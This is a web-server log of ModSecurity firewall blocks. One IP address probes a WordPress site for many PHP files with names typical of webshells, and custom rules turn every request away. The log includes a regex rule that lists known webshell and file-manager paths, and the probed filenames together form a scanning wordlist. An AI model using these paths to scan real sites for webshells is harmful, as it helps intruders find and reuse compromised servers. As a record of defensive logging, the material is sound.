[Mon Apr 06 22:42:54.342615 2026] [:error] [pid 38562:tid 38568] [client 158.158.96.77:30386] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adPGbqeD6Ohe6wzRuy6z8AAAAUM"]
[Mon Apr 06 22:42:55.072812 2026] [:error] [pid 9442:tid 9457] [client 158.158.96.77:30362] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adPGb0PsNnAJTnmz6sZAZgAAAQ0"]
[Mon Apr 06 22:42:55.659853 2026] [:error] [pid 35686:tid 35699] [client 158.158.96.77:3685] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adPGb8MKdea6oORd2fz1IgAAAAM"]
[Mon Apr 06 22:42:56.312521 2026] [:error] [pid 35687:tid 35737] [client 158.158.96.77:34862] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "adPGcJ3LtDozV0i8BiuEmQAAAE4"]
[Mon Apr 06 22:42:57.115010 2026] [:error] [pid 38562:tid 38571] [client 158.158.96.77:25498] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "adPGcaeD6Ohe6wzRuy6z9AAAAUY"]
[Mon Apr 06 22:42:57.754774 2026] [:error] [pid 35687:tid 35743] [client 158.158.96.77:65139] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "adPGcZ3LtDozV0i8BiuEnAAAAFQ"]
[Mon Apr 06 22:42:58.714899 2026] [:error] [pid 35688:tid 35755] [client 158.158.96.77:34852] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "adPGcuZ85qg4jLsRpQz9GAAAAIU"]
[Mon Apr 06 22:42:59.786803 2026] [:error] [pid 35688:tid 35759] [client 158.158.96.77:27041] [client 158.158.96.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adPGc-Z85qg4jLsRpQz9IAAAAIk"]
[Mon Apr 06 22:43:00.335970 2026] [:error] [pid 38562:tid 38570] [client 158.158.96.77:34836] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adPGdKeD6Ohe6wzRuy6z-wAAAUU"]
[Mon Apr 06 22:43:01.901744 2026] [:error] [pid 38562:tid 38578] [client 158.158.96.77:32167] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adPGdaeD6Ohe6wzRuy6z_QAAAU0"]
[Mon Apr 06 22:43:03.389788 2026] [:error] [pid 38562:tid 38574] [client 158.158.96.77:14671] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adPGd6eD6Ohe6wzRuy60AAAAAUk"]
[Mon Apr 06 22:43:04.194735 2026] [:error] [pid 35686:tid 35708] [client 158.158.96.77:34873] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adPGeMMKdea6oORd2fz1LwAAAAw"]
[Mon Apr 06 22:43:04.893577 2026] [:error] [pid 1827:tid 1848] [client 158.158.96.77:32164] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "adPGeOVeb6S_DnjZ2xE4BgAAAhM"]
[Mon Apr 06 22:43:06.117415 2026] [:error] [pid 35688:tid 35758] [client 158.158.96.77:34873] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "adPGeuZ85qg4jLsRpQz9LAAAAIg"]
[Mon Apr 06 22:43:07.104408 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:32032] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "adPGe0PsNnAJTnmz6sZAfAAAAQM"]
[Mon Apr 06 22:43:08.182662 2026] [:error] [pid 10280:tid 10305] [client 158.158.96.77:32012] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "adPGfF8QUJkf8g-BFfM2uAAAAdY"]
[Mon Apr 06 22:43:08.947081 2026] [:error] [pid 1827:tid 1849] [client 158.158.96.77:30367] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about3.php"] [unique_id "adPGfOVeb6S_DnjZ2xE4DQAAAhQ"]
[Mon Apr 06 22:43:09.970723 2026] [:error] [pid 35687:tid 35739] [client 158.158.96.77:65123] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about3.php"] [unique_id "adPGfZ3LtDozV0i8BiuEpAAAAFA"]
[Mon Apr 06 22:43:10.842565 2026] [:error] [pid 35688:tid 35774] [client 158.158.96.77:29838] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about3.php"] [unique_id "adPGfuZ85qg4jLsRpQz9OQAAAJg"]
[Mon Apr 06 22:43:11.905030 2026] [:error] [pid 35688:tid 35765] [client 158.158.96.77:29736] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about3.php"] [unique_id "adPGf-Z85qg4jLsRpQz9PAAAAI8"]
[Mon Apr 06 22:43:13.297148 2026] [:error] [pid 35688:tid 35756] [client 158.158.96.77:32199] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adPGgeZ85qg4jLsRpQz9PgAAAIY"]
[Mon Apr 06 22:43:13.881919 2026] [:error] [pid 35688:tid 35760] [client 158.158.96.77:31217] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adPGgeZ85qg4jLsRpQz9PwAAAIo"]
[Mon Apr 06 22:43:14.544799 2026] [:error] [pid 35688:tid 35754] [client 158.158.96.77:27019] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adPGguZ85qg4jLsRpQz9QQAAAIQ"]
[Mon Apr 06 22:43:15.246400 2026] [:error] [pid 35687:tid 35736] [client 158.158.96.77:27460] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adPGg53LtDozV0i8BiuErwAAAE0"]
[Mon Apr 06 22:43:15.879894 2026] [:error] [pid 35687:tid 35733] [client 158.158.96.77:27053] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "adPGg53LtDozV0i8BiuEsQAAAEo"]
[Mon Apr 06 22:43:16.421245 2026] [:error] [pid 38562:tid 38568] [client 158.158.96.77:29650] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "adPGhKeD6Ohe6wzRuy60GQAAAUM"]
[Mon Apr 06 22:43:17.073395 2026] [:error] [pid 35688:tid 35758] [client 158.158.96.77:27036] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "adPGheZ85qg4jLsRpQz9TAAAAIg"]
[Mon Apr 06 22:43:17.690704 2026] [:error] [pid 35688:tid 35768] [client 158.158.96.77:3108] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "adPGheZ85qg4jLsRpQz9UgAAAJI"]
[Mon Apr 06 22:43:18.261865 2026] [:error] [pid 38562:tid 38570] [client 158.158.96.77:30351] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "adPGhqeD6Ohe6wzRuy60HAAAAUU"]
[Mon Apr 06 22:43:18.817302 2026] [:error] [pid 38562:tid 38582] [client 158.158.96.77:3618] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "adPGhqeD6Ohe6wzRuy60IAAAAVE"]
[Mon Apr 06 22:43:19.496620 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:65116] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "adPGh6eD6Ohe6wzRuy60JQAAAUs"]
[Mon Apr 06 22:43:20.149189 2026] [:error] [pid 38562:tid 38584] [client 158.158.96.77:30350] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "adPGiKeD6Ohe6wzRuy60KgAAAVM"]
[Mon Apr 06 22:43:20.672971 2026] [:error] [pid 35688:tid 35769] [client 158.158.96.77:29692] [client 158.158.96.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "adPGiOZ85qg4jLsRpQz9YQAAAJM"]
[Mon Apr 06 22:43:21.155977 2026] [:error] [pid 38562:tid 38579] [client 158.158.96.77:46789] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "adPGiaeD6Ohe6wzRuy60LQAAAU4"]
[Mon Apr 06 22:43:22.061750 2026] [:error] [pid 10280:tid 10306] [client 158.158.96.77:3091] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "adPGil8QUJkf8g-BFfM2zwAAAdc"]
[Mon Apr 06 22:43:22.763026 2026] [:error] [pid 9442:tid 9452] [client 158.158.96.77:65094] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "adPGikPsNnAJTnmz6sZAjAAAAQg"]
[Mon Apr 06 22:43:23.506875 2026] [:error] [pid 10280:tid 10290] [client 158.158.96.77:27542] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "adPGi18QUJkf8g-BFfM21gAAAcc"]
[Mon Apr 06 22:43:24.280838 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:24310] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "adPGjEPsNnAJTnmz6sZAlQAAARg"]
[Mon Apr 06 22:43:25.728801 2026] [:error] [pid 10280:tid 10289] [client 158.158.96.77:29655] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "adPGjV8QUJkf8g-BFfM22QAAAcY"]
[Mon Apr 06 22:43:26.694084 2026] [:error] [pid 10280:tid 10307] [client 158.158.96.77:3297] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "adPGjl8QUJkf8g-BFfM23AAAAdg"]
[Mon Apr 06 22:43:27.974647 2026] [:error] [pid 9442:tid 9460] [client 158.158.96.77:29745] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "adPGj0PsNnAJTnmz6sZAmwAAARA"]
[Mon Apr 06 22:43:29.521887 2026] [:error] [pid 10280:tid 10295] [client 158.158.96.77:29666] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "adPGkV8QUJkf8g-BFfM25wAAAcw"]
[Mon Apr 06 22:43:30.144830 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:3975] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "adPGkkPsNnAJTnmz6sZApgAAAQM"]
[Mon Apr 06 22:43:30.759248 2026] [:error] [pid 38562:tid 38565] [client 158.158.96.77:3990] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "adPGkqeD6Ohe6wzRuy60OQAAAUA"]
[Mon Apr 06 22:43:31.490502 2026] [:error] [pid 35686:tid 35706] [client 158.158.96.77:3596] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "adPGk8MKdea6oORd2fz1OAAAAAo"]
[Mon Apr 06 22:43:37.465481 2026] [:error] [pid 35688:tid 35770] [client 158.158.96.77:3602] [client 158.158.96.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adPGmeZ85qg4jLsRpQz9kAAAAJQ"]
[Mon Apr 06 22:44:19.445826 2026] [:error] [pid 9442:tid 9466] [client 158.158.96.77:27823] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "adPGw0PsNnAJTnmz6sZBkgAAARY"]
[Mon Apr 06 22:44:19.927490 2026] [:error] [pid 38562:tid 38588] [client 158.158.96.77:30903] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "adPGw6eD6Ohe6wzRuy60fgAAAVc"]
[Mon Apr 06 22:44:20.449003 2026] [:error] [pid 10280:tid 10289] [client 158.158.96.77:27969] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "adPGxF8QUJkf8g-BFfM3OAAAAcY"]
[Mon Apr 06 22:44:20.929650 2026] [:error] [pid 10280:tid 10286] [client 158.158.96.77:3297] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "adPGxF8QUJkf8g-BFfM3OwAAAcM"]
[Mon Apr 06 22:44:21.407579 2026] [:error] [pid 35687:tid 35726] [client 158.158.96.77:30850] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adPGxZ3LtDozV0i8BiuE5QAAAEM"]
[Mon Apr 06 22:44:21.929863 2026] [:error] [pid 35688:tid 35767] [client 158.158.96.77:27990] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adPGxeZ85qg4jLsRpQz-DQAAAJE"]
[Mon Apr 06 22:44:22.431114 2026] [:error] [pid 9442:tid 9465] [client 158.158.96.77:23090] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adPGxkPsNnAJTnmz6sZBlgAAARU"]
[Mon Apr 06 22:44:22.923071 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:34060] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adPGxkPsNnAJTnmz6sZBmQAAAQI"]
[Mon Apr 06 22:44:23.436593 2026] [:error] [pid 38562:tid 38569] [client 158.158.96.77:23047] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "adPGx6eD6Ohe6wzRuy60hQAAAUQ"]
[Mon Apr 06 22:44:23.930177 2026] [:error] [pid 9442:tid 9458] [client 158.158.96.77:3576] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "adPGx0PsNnAJTnmz6sZBowAAAQ4"]
